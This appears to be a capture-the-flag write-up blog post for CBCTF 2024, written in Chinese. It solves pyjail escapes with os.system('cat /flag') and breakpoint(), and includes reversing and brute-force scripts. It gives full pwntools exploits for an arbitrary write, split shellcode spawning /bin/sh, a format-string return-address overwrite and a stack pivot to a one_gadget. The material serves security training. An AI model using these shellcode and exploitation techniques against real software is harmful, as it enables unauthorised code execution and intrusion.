nyyyddddn

cbctf

2024/01/02

pyjali

level 1

1
__import__('os').system('cat /flag')

level2

1
f"{__import__('os').system('cat /flag')}"

level3

有一个字符长度限制,测试一下长度13,试了一下breakpoint可以使用,可以用breakpoint打开一个调试器去绕过这个长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lhj@lhj-virtual-machine:~/Desktop/cbctf/pwn$ nc training.0rays.club 10100

_ _______ _______ _ _____
| | | ____\ \ / / ____| | |___ /
| | | _| \ \ / /| _| | | |_ \
| |___| |___ \ V / | |___| |___ ___) |
|_____|_____| \_/ |_____|_____| |____/


Welcome to the JBNRZ's pyjail
Enter your expression and I will evaluate it for you.
Example:
input: 1 + 1
Result: 2
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('sh')
*** SyntaxError: invalid syntax
(Pdb) print(1)
1
(Pdb) __import__('os').system('cat /flag')
CBCTF{9fc71bcf-1809-413d-98e1-41155ffd6211}

level4

和3 一样可以通过breakpoint

level5

和3一样

Reverse

PWN

有一个打印flag的逻辑,分析了一下v2是没有判断下界的,输入一个负数的话,1000 * (-1) > balance这个表达式的值为假,就能走到下边打印flag的逻辑那,所以buy -1个flag就能printFlag()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__isoc99_scanf("%d", &v1);
printf("Enter the quantity to buy: ");
__isoc99_scanf("%d", &v2);
v3 = 0;
if ( v1 == 3 )
{
v3 = 1000 * v2;
if ( (int)(1000 * v2) > balance )
{
puts("Insufficient balance to buy Flag.");
}
else
{
balance -= v3;
flagCount += v2;
printf("Congratulations, you bought %d Flag(s) for %d, current balance: %d.\n", v2, v3, (unsigned int)balance);
printFlag();
}
}

TIVM-Checkin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
buf = []
def getchar():
global buf
while len(buf) <= 0:
buf = list(input().encode())
buf.append(0x0a)
return buf.pop(0)

def run():
mem = eval(open('checkin.tricode', 'r').read())
ip = 0
size = len(mem)
while ip + 2 < size:
a1 = mem[ip]
a2 = mem[ip + 1]
a3 = mem[ip + 2]
next_jump = ip + 3

if a2 & 0x80000000 != 0:
print(chr(mem[a1]), end='')
elif a1 & 0x80000000 != 0:
mem[a2] = getchar()
else:
mem[a2] = (mem[a2] - mem[a1]) & 0xffffffff
if mem[a2] == 0 or mem[a2] & 0x80000000 != 0:
next_jump = a3

ip = next_jump

if __name__ == "__main__":
run()

有一个cmp key逻辑。没有算法相关的逻辑,那flag可能是明文 ?先看看mem上的数据,把可见字符打印出来看看有什么

1
2
3
4
5
6
7
a = [0, 0, 52, 87, 101, 108, 99, 111, 109, 101, 32, 116, 111, 32, 67, 66, 67, 84, 70, 32, 50, 48, 50, 51, 33, 10, 78, 111, 119, 32, 103, 117, 101, 115, 115, 32, 109, 121, 32, 108, 117, 99, 107, 121, 32, 110, 117, 109, 98, 101, 114, 58, 3, 4294967295, 55, 4, 4294967295, 58, 5, 4294967295, 61, 6, 4294967295, 64, 7, 4294967295, 67, 8, 4294967295, 70, 9, 4294967295, 73, 10, 4294967295, 76, 11, 4294967295, 79, 12, 4294967295, 82, 13, 4294967295, 85, 14, 4294967295, 88, 15, 4294967295, 91, 16, 4294967295, 94, 17, 4294967295, 97, 18, 4294967295, 100, 19, 4294967295, 103, 20, 4294967295, 106, 21, 4294967295, 109, 22, 4294967295, 112, 23, 4294967295, 115, 24, 4294967295, 118, 25, 4294967295, 121, 26, 4294967295, 124, 27, 4294967295, 127, 28, 4294967295, 130, 29, 4294967295, 133, 30, 4294967295, 136, 31, 4294967295, 139, 32, 4294967295, 142, 33, 4294967295, 145, 34, 4294967295, 148, 35, 4294967295, 151, 36, 4294967295, 154, 37, 4294967295, 157, 38, 4294967295, 160, 39, 4294967295, 163, 40, 4294967295, 166, 41, 4294967295, 169, 42, 4294967295, 172, 43, 4294967295, 175, 44, 4294967295, 178, 45, 4294967295, 181, 46, 4294967295, 184, 47, 4294967295, 187, 48, 4294967295, 190, 49, 4294967295, 193, 50, 4294967295, 196, 51, 4294967295, 199, 0, 0, 203, 0, 4294967295, 202, 206, 0, 0, 210, 49, 0, 0, 215, 0, 0, 213, 213, 218, 202, 213, 221, 214, 214, 224, 209, 214, 227, 214, 213, 233, 0, 0, 840, 214, 214, 236, 213, 214, 242, 0, 0, 840, 4294967295, 202, 245, 0, 0, 249, 49, 0, 0, 254, 0, 0, 252, 252, 257, 202, 252, 260, 253, 253, 263, 248, 253, 266, 253, 252, 272, 0, 0, 840, 253, 253, 275, 252, 253, 281, 0, 0, 840, 4294967295, 202, 284, 0, 0, 288, 52, 0, 0, 293, 0, 0, 291, 291, 296, 202, 291, 299, 292, 292, 302, 287, 292, 305, 292, 291, 311, 0, 0, 840, 292, 292, 314, 291, 292, 320, 0, 0, 840, 4294967295, 202, 323, 0, 0, 327, 53, 0, 0, 332, 0, 0, 330, 330, 335, 202, 330, 338, 331, 331, 341, 326, 331, 344, 331, 330, 350, 0, 0, 840, 331, 331, 353, 330, 331, 359, 0, 0, 840, 4294967295, 202, 362, 0, 0, 366, 49, 0, 0, 371, 0, 0, 369, 369, 374, 202, 369, 377, 370, 370, 380, 365, 370, 383, 370, 369, 389, 0, 0, 840, 370, 370, 392, 369, 370, 398, 0, 0, 840, 4294967295, 202, 401, 0, 0, 405, 52, 0, 0, 410, 0, 0, 408, 408, 413, 202, 408, 416, 409, 409, 419, 404, 409, 422, 409, 408, 428, 0, 0, 840, 409, 409, 431, 408, 409, 437, 0, 0, 840, 0, 0, 440, 0, 0, 444, 71, 443, 4294967295, 447, 0, 0, 451, 114, 450, 4294967295, 454, 0, 0, 458, 101, 457, 4294967295, 461, 0, 0, 465, 97, 464, 4294967295, 468, 0, 0, 472, 116, 471, 4294967295, 475, 0, 0, 479, 33, 478, 4294967295, 482, 0, 0, 486, 32, 485, 4294967295, 489, 0, 0, 493, 72, 492, 4294967295, 496, 0, 0, 500, 101, 499, 4294967295, 503, 0, 0, 507, 114, 506, 4294967295, 510, 0, 0, 514, 101, 513, 4294967295, 517, 0, 0, 521, 32, 520, 4294967295, 524, 0, 0, 528, 105, 527, 4294967295, 531, 0, 0, 535, 115, 534, 4294967295, 538, 0, 0, 542, 32, 541, 4294967295, 545, 0, 0, 549, 121, 548, 4294967295, 552, 0, 0, 556, 111, 555, 4294967295, 559, 0, 0, 563, 117, 562, 4294967295, 566, 0, 0, 570, 114, 569, 4294967295, 573, 0, 0, 577, 32, 576, 4294967295, 580, 0, 0, 584, 102, 583, 4294967295, 587, 0, 0, 591, 108, 590, 4294967295, 594, 0, 0, 598, 97, 597, 4294967295, 601, 0, 0, 605, 103, 604, 4294967295, 608, 0, 0, 612, 58, 611, 4294967295, 615, 0, 0, 619, 10, 618, 4294967295, 622, 0, 0, 626, 67, 625, 4294967295, 629, 0, 0, 633, 66, 632, 4294967295, 636, 0, 0, 640, 67, 639, 4294967295, 643, 0, 0, 647, 84, 646, 4294967295, 650, 0, 0, 654, 70, 653, 4294967295, 657, 0, 0, 661, 123, 660, 4294967295, 664, 0, 0, 668, 87, 667, 4294967295, 671, 0, 0, 675, 51, 674, 4294967295, 678, 0, 0, 682, 49, 681, 4294967295, 685, 0, 0, 689, 99, 688, 4294967295, 692, 0, 0, 696, 48, 695, 4294967295, 699, 0, 0, 703, 109, 702, 4294967295, 706, 0, 0, 710, 101, 709, 4294967295, 713, 0, 0, 717, 95, 716, 4294967295, 720, 0, 0, 724, 116, 723, 4294967295, 727, 0, 0, 731, 111, 730, 4294967295, 734, 0, 0, 738, 95, 737, 4294967295, 741, 0, 0, 745, 67, 744, 4294967295, 748, 0, 0, 752, 56, 751, 4294967295, 755, 0, 0, 759, 67, 758, 4294967295, 762, 0, 0, 766, 84, 765, 4294967295, 769, 0, 0, 773, 70, 772, 4294967295, 776, 0, 0, 780, 50, 779, 4294967295, 783, 0, 0, 787, 79, 786, 4294967295, 790, 0, 0, 794, 50, 793, 4294967295, 797, 0, 0, 801, 51, 800, 4294967295, 804, 0, 0, 808, 33, 807, 4294967295, 811, 0, 0, 815, 33, 814, 4294967295, 818, 0, 0, 822, 33, 821, 4294967295, 825, 0, 0, 829, 125, 828, 4294967295, 832, 0, 0, 855, 119, 114, 111, 110, 103, 835, 4294967295, 843, 836, 4294967295, 846, 837, 4294967295, 849, 838, 4294967295, 852, 839, 4294967295, 855, 0, 0, 859, 10, 858, 4294967295, 862]

b =list(range(32, 127))

for i in a:
if i in b:
print(chr(i),end="")

发现flag确实是明文

1
4Welcome to CBCTF 2023!Now guess my lucky number:7:=@CFILORUX[^adgjmpsvy| !"#$%&'()*+,-./0123114514Great! Here is your flag:CBCTF{W31c0me_to_C8CTF2O23!!!}wrong

Misc

和前两周qwb有一道fuzz的题目很像?

手动试了一下固定是CBCTF{……}这个格式,把每一位用可见字符跑一遍,通过返回的正确率来判断是否是正确的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "training.0rays.club"
PORT = 10013
ELF_PATH = "./flag_coverage"

template = list("CBCTF{111111111111111111111111111111111111}")
charset = [chr(i) for i in range(32, 127)]

def connect():
return remote(IP, PORT) if not is_debug else process(ELF_PATH)

def interact_with_service(p, seed):
p.sendlineafter("Enter your seed (43 characters): ", ''.join(seed))
p.recvuntil("flag coverage:")
coverage_str = p.recvline().strip().decode()
coverage = float(coverage_str[:-1])
p.close()
return coverage

coverage = interact_with_service(connect(), template)
print(f"Initial coverage: {coverage}")

for i in range(6, 42):
for j in charset:
temp_template = template[:]
temp_template[i] = j
current_coverage = interact_with_service(connect(), temp_template)

if current_coverage > coverage:
coverage = current_coverage
template = temp_template
print(f"Improved coverage: {coverage} with template: {''.join(template)}")
break

print(template)

web[补]

pwn

heap1

这一题的利用方法和堆没有关系qaq

发现这个在add_chunk这里 有个size是可以利用的,然后edit的功能是 往一个地址里写数据,用size 写一个地址,然后用edit往 地址里写数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int add_chunk()
{
_QWORD *v0; // rax
int v1; // ebx
int v3; // [rsp+8h] [rbp-18h] BYREF
int v4[5]; // [rsp+Ch] [rbp-14h] BYREF

printf("idx:");
__isoc99_scanf("%d", v4);
printf("size:");
__isoc99_scanf("%d", &v3);
if ( v4[0] >= 0 && v4[0] < qword_4042C0 )
{
v1 = v4[0];
qword_4040C8[v1] = malloc(v3);
v0 = qword_4040C8;
qword_4040C8[v4[0] + 32] = v3;
}
else
{
LODWORD(v0) = puts("out of range");
}
return (int)v0;
}

edit 在写数据的时候,除了要指定地址,还有一个大小相关的参数。所以需要通过add_chunk写4040c0和大小两个数据。

add_chunk 0的时候,size在 0x4040c8 + (0x20 * 8) = 0x4041c8 这个位置,

edit是这样取大小的(unsigned int)qword_4040C8[v1 + 32]),所以得add chunk[32]才能把大小写进去,但是 if ( idx[0] >= 0 && idx[0] < qword_4042C0 ) 这里有一个判断,qword_4042C0 == 32,所以直接输入32是不行的,得先把qword_4042C0 修改成一个大于32的数,才能写大小。

1
2
3
4
.text:000000000040127C 48 83 C0 20                   add     rax, 20h ; ' '
.text:0000000000401280 48 8D 0C C5 00 00 00 00 lea rcx, ds:0[rax*8]
.text:0000000000401288 48 8D 05 39 2E 00 00 lea rax, qword_4040C8
.text:000000000040128F 48 89 14 01 mov [rcx+rax], rdx
1
2
3
4
5
6
7
8
9
10
11
int edit_chunk()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF

printf("idx:");
__isoc99_scanf("%d", &v1);
if ( !qword_4040C8[v1] )
return puts("no chunk");
printf("content:");
return sub_401354(qword_4040C8[v1], (unsigned int)qword_4040C8[v1 + 32]);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./heap1')
libc = elf.libc

is_debug = 1

if(is_debug):
p = process()
else:
ip = "training.0rays.club"
port = 10093
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


def add_chunk(idx, size):
sla("choice:", '1')
sla("idx:", str(idx))
sla("size:", str(size))

def edit_chunk(idx, content):
sla("choice:", '3')
sla("idx:", str(idx))
sla("content:", content)

# qword_4042C0
add_chunk(31, 0xffff)
add_chunk(32, 32)
add_chunk(0, 0x4040c0)
edit_chunk(32, p64(0x656572545F676553))

sl('5')

p.interactive()

The Legend Of ShellCode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[16]; // [rsp+0h] [rbp-70h] BYREF
char buf[16]; // [rsp+10h] [rbp-60h] BYREF
char v6[16]; // [rsp+20h] [rbp-50h] BYREF
char v7[16]; // [rsp+30h] [rbp-40h] BYREF
char v8[16]; // [rsp+40h] [rbp-30h] BYREF
char v9[24]; // [rsp+50h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+68h] [rbp-8h]

v10 = __readfsqword(0x28u);
init(argc, argv, envp);
memset(s, 195, 0x60uLL);
puts("Welcome2TheLegendOfShellCode!");
puts("Now show me your wisdom:");
read(0, s, 9uLL);
puts("Now show me your courage:");
read(0, buf, 9uLL);
puts("Now show me your strength:");
read(0, v6, 9uLL);
puts("Now show me your flesh:");
read(0, v7, 9uLL);
puts("Now show me your thought:");
read(0, v8, 9uLL);
puts("Now show me your soul:");
read(0, v9, 9uLL);
puts("Keep going!Wish you could bring peace to hararu");
return 0;
}

栈上有可执行的权限,有六次输入,每次输入9个字节,最后会去call rbp - 0x70。这题比较麻烦的地方是算指令大小吧。用jmp short连接这六个位置,jmp加一个偏移 占两个字节。 写binsh字符串的话,要拆开来写,把高低位拆开然后拼起来,最后push到栈中取通过rsp取binsh的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./code')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "training.0rays.club"
port = 10073
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



shellcode = asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
xor esi, esi
xor edx, edx
syscall
''')

def generate_jmp(offset):
return b'\xEB' + p8(offset)

# print(len(generate_jmp(5)))
# set register rax = 0x3b esi = 0 edx = 0 rdi = binsh addr

shellcode1 = asm('''
xor esi,esi
xor edx,edx
xor rax,rax
''') + generate_jmp(7)


shellcode2 = asm('''
mov eax,0x68732f
''') + generate_jmp(9)

shellcode3 = asm('''
shl rax, 32
''') + generate_jmp(10)

shellcode4 = asm('''
add rax,0x6e69622f
''') + generate_jmp(8)


shellcode5 = asm('''
push rax
push rsp
pop rdi
push 0x3b
pop rax
syscall
''')

# print(len(shellcode2))


ru("Now show me your wisdom:\n")
# g(p)
s(shellcode1)


ru("Now show me your courage:\n")
# s(b'\x90' * 9)
s(shellcode2)

ru("Now show me your strength:\n")
s(shellcode3)

ru("Now show me your flesh:\n")
s(shellcode4)

ru("Now show me your thought:\n")
s(shellcode5)

# g(p)

ru("Now show me your soul:\n")
s(b'\x90' * 9)

p.interactive()

123go

第一次做和scanf相关的格式化字符串漏洞,联想到printf解析格式化字符串的方式,%n$ 这个表达式前六个参数是取寄存器的数据,往后是从rsp开始取数据,那?能不能用%n$s 取栈上的指针,通过这个指针写数据? 试了一下成功了。那只需要泄露一个libc 相关的地址,算出libc_base 然后 + one_gadget写返回地址就好了,看了一下one_gadget的约束也刚刚好满足。不过看了一圈没有指向返回地址的指针,那找一个指向栈的指针,把返回地址的位置写进去,就可以通过这个位置使用scanf修改返回地址了

1
18:00c0│       0x7fffffffe2a8 —▸ 0x7fffffffe318 —▸ 0x7fffffffe5d9 ◂— 'SHELL=/bin/bash'
1
26:0130│     0x7fffffffe318 —▸ 0x7fffffffe5d9 ◂— 'SHELL=/bin/bash'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./123go')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "training.0rays.club"
port = 10096
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

payload = "%9$p-%13$p-%11$p"
sa("Your name:",payload)

ru("Hello:")
leak_canary = int(ru('-')[:-1],16)
ret_addr = int(ru('-')[:-1],16) - 240
libc_base = int(r(14),16) - 147587

success(hex(leak_canary))
success(hex(ret_addr))
success(hex(libc_base))

one_gadget=0xe3b01

sa("context:","%29$d")
p.sendline(str(ret_addr))
sa("context:","%43$d")
sl(str(one_gadget+libc_base))


p.interactive()

reg

有一个沙箱,不过不是把execve禁用了,是只能执行execve和execveat

1
2
3
4
5
6
7
8
9
10
11
lhj@lhj-virtual-machine:~/Desktop/cbctf/pwn/reg$ seccomp-tools dump ./reg
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x02 0x0000003b if (A != execve) goto 0006
0004: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW

看了一下发现 buf[32]刚刚好是能取到 rbp的,如果把rbp改了 可以通过两次leave ret进行栈迁移,先在buf上布置好新栈,最后修改rbp

gdb动调的时候发现,buf上有很多libc相关的地址,add函数那 value是可以输入负数的,那把libc的地址通过 set 中类似于 memcpy的这一部分,配合上add,就能算出libc_base,打onegadget。

1
2
3
4
5
6
7
8
9
10
if ( v3 == 2 )
{
result = v2;
if ( v2 >= 0 )
{
result = v2;
if ( v2 <= 32 )
{
result = *(_QWORD *)(8 * v2 + a1);
*(_QWORD *)(8LL * (int)v4 + a1) = result;
1
2
3
4
5
if ( v2 <= 32 )
{
result = 8LL * (int)v4 + a1;
*(_QWORD *)result += *(_QWORD *)(8 * v2 + a1);
}

迁移过后 rdx == 0,r10 不为空,去libc里找了一下 找到这个gadget可以清空 r10,然后 rbp - 0x78 必须是可写的,那可以在布置栈的时候 buf[0] 设置成一个 buf上的地址,栈迁移的时候 执行第二次leave的时候,rbp就到buf上了。

1
2
3
4
5
6
7
# 0x0000000000149708 : xor r10d, r10d ; mov eax, r10d ; ret

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./reg')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "training.0rays.club"
port = 10093
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


def set(idx,value):
sl("1")
sl(f"{str(idx)} 1 {str(value)}")


def copy_idx2_data_to_idx1(idx1,idx2):
sl("1")
sl(f"{str(idx1)} 2 {str(idx2)}")

def add(idx,value):
sl("2")
sl(f"{str(idx)} 1 {str(value)}")

# g(p)
# 0x0000000000149708 : xor r10d, r10d ; mov eax, r10d ; ret

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL

one_gadget = 0xebc85

copy_idx2_data_to_idx1(0,12)
add(10,-0x40)

copy_idx2_data_to_idx1(1,17)
add(1,- 0x21a6a0)
copy_idx2_data_to_idx1(2,17)
add(2,- 0x21a6a0)

add(1,0x149708)
add(2, one_gadget)

# compute ret_addr and write to buf[10]
copy_idx2_data_to_idx1(10,12)
add(10,-0x70)

copy_idx2_data_to_idx1(32,10)
# g(p)
sl("3")



p.interactive()

web

BeginnerTetris

想找找success的逻辑,然后看到有两个base64 解密得到flag

1
2
3
4
5
ZmxhZ3tZT3UxcmVfZnIwbnQ=

X0VuZF9tQXN0MXJfNl42fQ==

flag{YOu1re_fr0nt_End_mAst1r_6^6}
CATALOG
  1. 1. pyjali
    1. 1.1. level 1
    2. 1.2. level2
    3. 1.3. level3
    4. 1.4. level4
    5. 1.5. level5
  2. 2. Reverse
    1. 2.1. PWN
    2. 2.2. TIVM-Checkin
    3. 2.3. Misc
    4. 2.4. web[补]
  3. 3. pwn
    1. 3.1. heap1
    2. 3.2. The Legend Of ShellCode
    3. 3.3. 123go
    4. 3.4. reg
  4. 4. web
    1. 4.1. BeginnerTetris